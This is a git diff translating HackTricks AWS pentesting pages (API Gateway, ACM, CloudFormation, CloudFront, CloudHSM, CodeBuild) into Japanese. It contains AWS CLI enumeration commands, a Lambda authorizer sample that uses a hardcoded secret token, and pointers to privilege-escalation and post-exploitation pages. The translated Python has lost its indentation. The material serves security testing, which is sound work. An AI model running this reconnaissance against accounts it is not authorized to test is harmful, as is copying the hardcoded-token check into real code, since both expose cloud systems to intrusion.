-Lambda Authorizer Code Example - +Lambda 認証者コード例 ```python import json def lambda_handler(event, context): - token = event['authorizationToken'] - method_arn = event['methodArn'] +token = event['authorizationToken'] +method_arn = event['methodArn'] - if not token: - return { - 'statusCode': 401, - 'body': 'Unauthorized' - } +if not token: +return { +'statusCode': 401, +'body': 'Unauthorized' +} - try: - # Replace this with your own token validation logic - if token == "your-secret-token": - return generate_policy('user', 'Allow', method_arn) - else: - return generate_policy('user', 'Deny', method_arn) - except Exception as e: - print(e) - return { - 'statusCode': 500, - 'body': 'Internal Server Error' - } +try: +# Replace this with your own token validation logic +if token == "your-secret-token": +return generate_policy('user', 'Allow', method_arn) +else: +return generate_policy('user', 'Deny', method_arn) +except Exception as e: +print(e) +return { +'statusCode': 500, +'body': 'Internal Server Error' +} def generate_policy(principal_id, effect, resource): - policy = { - 'principalId': principal_id, - 'policyDocument': { - 'Version': '2012-10-17', - 'Statement': [ - { - 'Action': 'execute-api:Invoke', - 'Effect': effect, - 'Resource': resource - } - ] - } - } - return policy +policy = { +'principalId': principal_id, +'policyDocument': { +'Version': '2012-10-17', +'Statement': [ +{ +'Action': 'execute-api:Invoke', +'Effect': effect, +'Resource': resource +} +] +} +} +return policy ``` -
-Call it with something like: +呼び出すには、次のようにします： 
curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Lambdaコードによっては、この認証が脆弱である可能性があります -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +**拒否ポリシーが生成されて返される**場合、API Gatewayから返されるエラーは次のとおりです：`{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +この方法で、**この認証**が存在することを**特定**できます。 -### Required API Key +### 必要なAPIキー -It's possible to set API endpoints that **require a valid API key** to contact it. +**有効なAPIキー**が必要なAPIエンドポイントを設定することができます。
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +API GatewayポータルでAPIキーを生成し、使用量（リクエスト毎秒およびリクエスト毎月の観点から）を設定することも可能です。 -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +APIキーを機能させるには、**使用プラン**に追加する必要があります。この使用プランは**APIステージ**に追加され、関連するAPIステージにはAPIキーを必要とする**エンドポイント**に対して**メソッドスロットリング**が設定されている必要があります：
-## Unauthenticated Access +## 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md {{#endref}} -## Privesc +## 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitation +## ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## 永続性 {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..0e0b742cd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** は、AWSサービスおよび内部リソースのための **SSL/TLS証明書のプロビジョニング、管理、展開を効率化することを目的としたサービス** として提供されています。購入、アップロード、証明書の更新などの手動プロセスの必要性は、**ACMによって排除されます**。これにより、ユーザーは **Elastic Load Balancers、Amazon CloudFrontディストリビューション、API Gateway上のAPI** など、さまざまなAWSリソースに対して効率的に証明書をリクエストし、実装することができます。 -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +ACMの重要な機能は、**証明書の自動更新** であり、管理の負担を大幅に軽減します。さらに、ACMは **内部使用のためのプライベート証明書の作成と集中管理** をサポートしています。Elastic Load Balancing、Amazon CloudFront、Amazon API Gatewayなどの統合AWSサービス用のSSL/TLS証明書は、ACMを通じて追加費用なしで提供されますが、ユーザーはアプリケーションで使用されるAWSリソースに関連するコストと、統合ACMサービスの外で使用される各 **プライベート証明書機関（CA）** およびプライベート証明書に対する月額料金を負担する必要があります。 -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** は、**管理されたプライベートCAサービス** として提供され、ACMの機能を強化し、プライベート証明書を含む証明書管理を拡張します。これらのプライベート証明書は、組織内のリソースの認証に重要です。 -## Enumeration +## 列挙 ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,17 +46,12 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - -## Privesc +## プライベートエスカレーション TODO -## Post Exploitation +## ポストエクスプロイテーション TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..1f4c23861 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理に費やす時間を最小限に抑えることで、AWS上で実行されているアプリケーションにより集中できる**ようになります。このサービスのコア機能は、**テンプレート**—望ましいAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +次のページでは、**cloudformationの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +各CloudFormationの**テンプレート、パラメータ、出力**に**秘密**や機密情報がないか確認してください。 ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStarは、AWS上でソフトウェア開発プロジェクトを作成、管理、作業するためのサービスです。AWS CodeStarプロジェクトを使用して、AWS上でアプリケーションを迅速に開発、構築、デプロイできます。AWS CodeStarプロジェクトは、プロジェクト開発ツールチェーンのために**AWSサービスを作成および統合**します。AWS CodeStarプロジェクトテンプレートの選択に応じて、そのツールチェーンにはソース管理、ビルド、デプロイ、仮想サーバーまたはサーバーレスリソースなどが含まれる場合があります。AWS CodeStarは、プロジェクトユーザー（チームメンバーと呼ばれる）に必要な権限も**管理**します。 ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,13 +53,12 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +次のページでは、**codestarの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ @@ -73,7 +69,3 @@ In the following page you can check how to **abuse codestar permissions to escal - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..0b443f1ab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFrontはAWSの**コンテンツ配信ネットワークで、静的および動的コンテンツの配信を加速します**。Amazon CloudFrontを通じてホスティングしているリクエストコンテンツを使用すると、リクエストは最も近いエッジロケーションにルーティングされ、最低のレイテンシで最高のパフォーマンスを提供します。**CloudFrontアクセスログ**が有効になっていると、ウェブサイトや配信にアクセスをリクエストする各ユーザーからのリクエストを記録できます。S3アクセスログと同様に、これらのログも**耐久性と永続的なストレージのためにAmazon S3に保存されます**。ログ自体を有効にすることに対して料金は発生しませんが、ログがS3に保存されるため、S3によって使用されるストレージに対して料金が発生します。 -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +ログファイルは一定期間のデータをキャプチャし、その配信に対してAmazon CloudFrontが受け取るリクエストの量に応じて生成されるログファイルの数が決まります。これらのログファイルはS3上で作成または書き込まれないことを知っておくことが重要です。S3は、ログファイルが満杯になったときに配信される場所に過ぎません。**Amazon CloudFrontは、これらのログをS3に配信する準備ができるまで保持します**。再度、これらのログファイルのサイズに応じて、この配信には**1時間から24時間**かかることがあります。 -**By default cookie logging is disabled** but you can enable it. +**デフォルトではクッキーロギングは無効になっていますが**、有効にすることができます。 ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +CloudFrontで関数を作成できます。これらの関数は**cloudfront**にエンドポイントが定義され、宣言された**NodeJSコード**を実行します。このコードは、AWS管理マシン上で実行される**サンドボックス**内で実行されます（基盤となるOSに逃げるためにはサンドボックスバイパスが必要です）。 -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +関数はユーザーのAWSアカウントで実行されないため、IAMロールは添付されず、この機能を悪用して直接的な権限昇格は不可能です。 ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..ac0d09e9e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - ハードウェアセキュリティモジュール -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSMは、セキュアな暗号鍵ストレージのためのFIPS 140レベル2認証を受けた**ハードウェアデバイス**です（CloudHSMはハードウェアアプライアンスであり、仮想化サービスではありません）。これは、5.3.13がプリロードされたSafeNetLuna 7000アプライアンスです。ファームウェアのバージョンは2つあり、どちらを選ぶかは正確なニーズに基づいています。一つはFIPS 140-2準拠用で、もう一つは使用可能な新しいバージョンです。 -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +CloudHSMの特異な特徴は、物理デバイスであり、したがって**他の顧客と共有されない**ことです。一般的に言われるように、マルチテナントではありません。これは、あなたのワークロード専用に提供される専用のシングルテナントアプライアンスです。 -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +通常、デバイスは容量がある場合、15分以内に利用可能ですが、一部のゾーンではそうでない場合があります。 -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +これはあなた専用の物理デバイスであるため、**鍵はデバイス上に保存されます**。鍵は**別のデバイスに複製する**か、オフラインストレージにバックアップするか、スタンバイアプライアンスにエクスポートする必要があります。**このデバイスはS3やKMSなどのAWSの他のサービスによってバックアップされていません**。 -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +**CloudHSM**では、**サービスを自分でスケールする必要があります**。選択した暗号化アルゴリズムに基づいて、暗号化ニーズを処理するために十分なCloudHSMデバイスをプロビジョニングする必要があります。\ +キー管理サービスのスケーリングはAWSによって行われ、自動的に需要に応じてスケールしますので、使用が増えるにつれて、必要なCloudHSMアプライアンスの数も増える可能性があります。ソリューションをスケールする際にはこれを考慮し、ソリューションにオートスケーリングがある場合は、最大スケールが十分なCloudHSMアプライアンスでサービスされるようにしてください。 -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +スケーリングと同様に、**CloudHSMのパフォーマンスはあなた次第です**。パフォーマンスは使用する暗号化アルゴリズムや、データを暗号化するために鍵にアクセスまたは取得する頻度によって異なります。キー管理サービスのパフォーマンスはAmazonによって処理され、需要に応じて自動的にスケールします。CloudHSMのパフォーマンスは、より多くのアプライアンスを追加することで達成され、より高いパフォーマンスが必要な場合は、デバイスを追加するか、より高速なアルゴリズムに暗号化方法を変更します。 -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +あなたのソリューションが**マルチリージョン**の場合、第二のリージョンにいくつかの**CloudHSMアプライアンスを追加し、プライベートVPN接続を使用してクロスリージョン接続を確立する**必要があります。これにより、接続のすべてのレイヤーでトラフィックが常に保護されることが保証されます。マルチリージョンソリューションがある場合、**鍵を複製し、運用しているリージョンに追加のCloudHSMデバイスを設定する方法を考える必要があります**。非常に迅速に、複数のリージョンに分散した6台または8台のデバイスを持つシナリオに入ることができ、暗号化鍵の完全な冗長性を実現します。 -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM**は、セキュアな鍵ストレージのためのエンタープライズクラスのサービスであり、**エンタープライズの信頼の根源として使用できます**。PKI内のプライベートキーやX509実装の証明書機関キーを保存できます。対称アルゴリズム（AESなど）で使用される対称鍵に加えて、**KMSは対称鍵のみを保存し物理的に保護します（証明書機関として機能できません）**。したがって、PKIおよびCAキーを保存する必要がある場合、CloudHSMを1台または2台、または3台使用することが解決策となる可能性があります。 -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSMはキー管理サービスよりもかなり高価です**。CloudHSMはハードウェアアプライアンスであるため、CloudHSMデバイスをプロビジョニングするための固定コストがあり、その後、アプライアンスを運用するための時間単位のコストがあります。コストは、特定の要件を満たすために必要なCloudHSMアプライアンスの数によって掛け算されます。\ +さらに、SafeNet ProtectVソフトウェアスイートなどのサードパーティソフトウェアの購入においても考慮が必要です。キー管理サービスは使用ベースであり、持っている鍵の数や入出力操作に依存します。キー管理は多くのAWSサービスとのシームレスな統合を提供するため、統合コストは大幅に低くなるはずです。コストは暗号化ソリューションにおける二次的な要因と見なされるべきです。暗号化は通常、セキュリティとコンプライアンスのために使用されます。 -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**CloudHSMでは、あなたのみが鍵にアクセスできます**。詳細に入ることなく、CloudHSMでは自分の鍵を管理します。**KMSでは、あなたとAmazonが鍵を共同管理します**。AWSには悪用に対する多くのポリシー保護があり、**どちらのソリューションでもあなたの鍵にアクセスすることはできません**。主な違いは、鍵の所有権と管理に関するコンプライアンスであり、CloudHSMでは、これはあなたが管理し、維持するハードウェアアプライアンスであり、あなたにのみ独占的にアクセスできます。 -### CloudHSM Suggestions +### CloudHSMの提案 -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. 常に**HAセットアップ**でCloudHSMを展開し、**別々のアベイラビリティゾーン**に少なくとも2台のアプライアンスを配置し、可能であれば、オンプレミスまたはAWSの別のリージョンに3台目を展開してください。 +2. **CloudHSM**を**初期化**する際は注意してください。このアクションは**鍵を破壊します**ので、鍵の別のコピーを持っているか、絶対に必要ないことを確認してください。 +3. CloudHSMは**特定のファームウェア**およびソフトウェアのバージョンのみを**サポート**しています。更新を行う前に、ファームウェアまたはソフトウェアがAWSによってサポートされていることを確認してください。アップグレードガイドが不明瞭な場合は、AWSサポートに連絡して確認できます。 +4. **ネットワーク構成は変更してはいけません。** AWSデータセンター内にあり、AWSが基本ハードウェアを監視しています。これは、ハードウェアが故障した場合、彼らがあなたのために交換することを意味しますが、故障したことを知っている場合のみです。 +5. **SysLogフォワードは削除または変更してはいけません**。常に**SysLogフォワーダーを追加**して、ログを自分の収集ツールに向けることができます。 +6. **SNMP**構成は、ネットワークおよびSysLogフォルダーと同じ基本的な制限があります。これは**変更または削除してはいけません**。**追加の**SNMP構成は問題ありませんが、アプライアンスに既にあるものを変更しないようにしてください。 +7. AWSからのもう一つの興味深いベストプラクティスは、**NTP構成を変更しないこと**です。変更した場合に何が起こるかは明確ではないため、ソリューションの残りの部分で同じNTP構成を使用しない場合、2つの時間ソースが存在する可能性があることを考慮してください。このことを認識し、CloudHSMが既存のNTPソースに留まる必要があることを理解してください。 -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +CloudHSMの初期導入料金は、あなたの使用のために専用のハードウェアアプライアンスを割り当てるために$5,000で、その後、CloudHSMを運用するための時間単位の料金が現在$1.88で、月額約$1,373です。 -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +CloudHSMを使用する最も一般的な理由は、規制上の理由で満たす必要があるコンプライアンス基準です。**KMSは非対称鍵のデータサポートを提供していません。CloudHSMは非対称鍵を安全に保存することができます**。 -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**公開鍵はプロビジョニング中にHSMアプライアンスにインストールされる**ため、SSHを介してCloudHSMインスタンスにアクセスできます。 -### What is a Hardware Security Module +### ハードウェアセキュリティモジュールとは -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +ハードウェアセキュリティモジュール（HSM）は、暗号鍵を生成、保存、管理し、機密データを保護するために使用される専用の暗号デバイスです。これは、暗号機能をシステムの他の部分から物理的および電子的に隔離することによって、高いレベルのセキュリティを提供するように設計されています。 -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +HSMの動作方法は、特定のモデルや製造元によって異なる場合がありますが、一般的には以下のステップが行われます。 -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **鍵生成**: HSMは、安全な乱数生成器を使用してランダムな暗号鍵を生成します。 +2. **鍵保存**: 鍵は**HSM内に安全に保存され、認可されたユーザーまたはプロセスのみがアクセスできます**。 +3. **鍵管理**: HSMは、鍵のローテーション、バックアップ、取り消しなど、さまざまな鍵管理機能を提供します。 +4. **暗号操作**: HSMは、暗号化、復号化、デジタル署名、鍵交換など、さまざまな暗号操作を実行します。これらの操作は、**HSMの安全な環境内で実行され、無許可のアクセスや改ざんから保護されます**。 +5. **監査ログ**: HSMは、すべての暗号操作とアクセス試行をログに記録し、コンプライアンスおよびセキュリティ監査の目的で使用できます。 -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSMは、安全なオンライン取引、デジタル証明書、安全な通信、データ暗号化など、幅広いアプリケーションに使用できます。金融、医療、政府など、高いレベルのセキュリティが要求される業界でよく使用されます。 -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +全体として、HSMが提供する高いレベルのセキュリティにより、**生の鍵を抽出することは非常に困難であり、試みることはしばしばセキュリティの侵害と見なされます**。ただし、**特定のシナリオ**では、特定の目的のために**認可された担当者によって生の鍵が抽出される可能性があります**。例えば、鍵回復手続きの場合などです。 +### 列挙 ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..7c5f0fdf8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** は **完全に管理された継続的インテグレーションサービス** として認識されています。このサービスの主な目的は、ソースコードのコンパイル、テストの実行、およびデプロイメント用のソフトウェアパッケージの作成のシーケンスを自動化することです。CodeBuild が提供する主な利点は、ユーザーがビルドサーバーをプロビジョニング、管理、スケーリングする必要を軽減できる点にあります。この便利さは、サービス自体がこれらのタスクを管理するためです。AWS CodeBuild の重要な機能には以下が含まれます： -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **管理されたサービス**: CodeBuild はビルドサーバーを管理およびスケーリングし、ユーザーをサーバーのメンテナンスから解放します。 +2. **継続的インテグレーション**: 開発およびデプロイメントのワークフローと統合し、ソフトウェアリリースプロセスのビルドおよびテストフェーズを自動化します。 +3. **パッケージ生成**: ビルドおよびテストフェーズの後、ソフトウェアパッケージを準備し、デプロイメントの準備を整えます。 -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild は他の AWS サービスとシームレスに統合され、CI/CD（継続的インテグレーション/継続的デプロイメント）パイプラインの効率と信頼性を向上させます。 -### **Github/Gitlab/Bitbucket Credentials** +### **Github/Gitlab/Bitbucket 認証情報** -#### **Default source credentials** +#### **デフォルトのソース認証情報** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +これは、いくつかの **アクセス**（Github トークンやアプリなど）を構成できるレガシーオプションであり、すべてのプロジェクトがこの構成された認証情報のセットを使用できるように **共有されます**。 -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +保存された認証情報（トークン、パスワード...）は **codebuild によって管理され**、AWS API からそれらを取得する公的な方法はありません。 -#### Custom source credential +#### カスタムソース認証情報 -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +リポジトリプラットフォーム（Github、Gitlab、Bitbucket）に応じて、異なるオプションが提供されます。しかし一般的に、**トークンやパスワードを保存する必要があるオプションは、シークレットマネージャーにシークレットとして保存されます**。 -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +これにより、**異なる codebuild プロジェクトが異なる構成されたアクセスをプロバイダーに使用できる**ようになり、単に構成されたデフォルトのものを使用するのではなくなります。 ### Enumeration - ```bash # List external 